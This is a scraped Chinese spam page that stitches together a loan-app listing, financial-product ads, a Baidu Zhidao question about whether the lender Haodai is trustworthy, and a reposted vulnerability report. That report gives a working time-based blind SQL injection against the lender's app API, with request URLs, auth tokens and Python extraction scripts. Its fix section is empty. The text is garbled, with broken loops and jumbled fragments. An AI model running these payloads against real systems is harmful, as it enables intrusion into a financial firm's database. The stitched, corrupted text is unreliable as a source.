好易贷网贷款可靠吗可靠吗

来源：蜘蛛抓取(WebSpider) 时间：2016-05-30 18:45 标签： 易贷网贷款可靠吗
当前【全部】
全部安卓手机安卓平板安卓电视iPhoneiPad其他
当前位置：>>>好贷网贷款
热门排行榜
176万+人在玩39万+人在玩65万+人在玩216万+人在玩16万+人在玩5万+人在玩
好贷网贷款 app相关推荐
发现该应用有下载安装使用错误或恶意扣费携带病毒，请
版权所有 京ICP备号-5
京公网安备 50 备好贷网APP存在SQL注入漏洞
好贷网APP存在漏洞
好贷网的&好贷APP&检测了下发现以下url存在时间盲注，注入参数为：auth_did
http://interface./capi/sys/up_push_code?os_type=1&appid=2&imei=A0&app_version=27000&auth_tms=49&auth_did=218372&auth_dsig=7ec385c&auth_uid=402888&auth_usig=c28be912f3a53c23&pushcode=ed0e046ea6e40d71a4ba375cc010decd
用SQLMap发现跑不出来，手工看了下，发现过滤了大小于号&&遂写Python程序跑了下：1、跑数据库名长度：AND SLEEP(IF((SELECT LENGTH(DATABASE())=1,5,0))
import requests,time
for i in range(21):
&&& url = r'http://interface./capi/sys/up_push_code?os_type=1&appid=2&imei=A0&app_version=27000&auth_tms=49&auth_did=AND%20SLEEP%28IF%28%28SELECT%20LENGTH%28DATABASE%28%29%29%29='+str(i)+',5,0%29%29&auth_dsig=7ec385c&auth_uid=402888&auth_usig=c28be912f3a53c23&pushcode=ed0e046ea6e40d71a4ba375cc010decd'
&&& st = time.time()
&&& r = requests.get(url)
&&& print 'Length:',i,time.time() - st
得到：LENGTH(DATABASE()) = 162、跑数据库名：AND SLEEP(IF(ascii(mid(database(),1,1))=1,5,0))
import requests,time
database = ''
for j in range(16):
&&& i = 33
&&& while i
&&&&&&& url = r'http://interface./capi/sys/up_push_code?os_type=1&appid=2&imei=A0&app_version=27000&auth_tms=49&auth_did=218372 AND SLEEP(IF(ascii(mid(database(),'+str(j+1)+',1))='+str(i)+',10,0))&auth_dsig=7ec385c&auth_uid=402888&auth_usig=c28be912f3a53c23&pushcode=ed0e046ea6e40d71a4ba375cc010decd'
&&&&&&& st = time.time()
&&&&&&& r = requests.get(url)
&&&&&&& if time.time() - st & 10:
&&&&&&&&&&& database = database + chr(i)
&&&&&&&&&&& print 'Database_name: ',database
&&&&&&&&&&& break
&&&&&&& i = i + 1
得到数据库名：interface_hd_com
修复方案：
【声明】:黑吧安全网()登载此文出于传递更多信息之目的，并不代表本站赞同其观点和对其真实性负责，仅适于网络安全技术爱好者学习研究使用，学习中请遵循国家相关法律法规。如有问题请联系我们，联系邮箱，我们会在最短的时间内进行处理。
上一篇：【】【】『好贷网贷款怎么样』相关搜索
(C) 列表网&京ICP证100421号&京ICP备号-1&琼公网安备08100%安全理财，让你安安心心挣钱。
可用余额随取随用，三步走简单便捷。
成为理财人，即可优先获得会员权益。
￥2,000,789.50
“私房钱”计划
理财产品人气榜
12,920,781.63元
280,052.02元
13,462.00元
微信公众号 : 蓝象科技扫码关注好贷网可靠吗_百度知道
好贷网可靠吗
好贷网可靠吗
我有更好的答案
暂时还是可靠的
其他类似问题
为您推荐：
您可能关注的推广
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁

我要回帖

更多关于 易贷网贷款可靠吗 的文章

 

随机推荐